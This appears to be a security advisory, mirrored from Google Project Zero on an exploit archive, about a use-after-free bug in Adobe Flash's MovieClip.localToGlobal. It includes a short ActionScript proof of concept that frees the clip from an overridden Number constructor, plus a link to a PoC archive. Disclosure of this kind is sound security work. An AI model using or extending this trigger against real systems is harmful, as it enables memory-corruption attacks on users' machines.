Adobe Flash MovieClip.localToGlobal - Use-After-Free

Source: https://code.google.com/p/google-security-research/issues/detail?id=570
 
There is a use-after-free issue in MovieClip.localToGlobal. If the Number constructor is overwritten with a new constructor and MovieClip.localToGlobal is called with an integer parameter, the new constructor will get called. If this constructor frees the MovieClip, a use-after-free occurs. A minimal PoC is as follows:
 
var a = func;
_global.Number = a;
this.createEmptyMovieClip("mc", 1);
mc.localToGlobal( 7 );
 
 
function func(){
     
    mc.removeMovieClip();
     
        // fix heap here  
 
        this.x = 2;
    this.y = 1;
     
    }
     
A sample swf and fla are attached.
 
 
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39056.zip

#  0day.today [2018-01-05]  #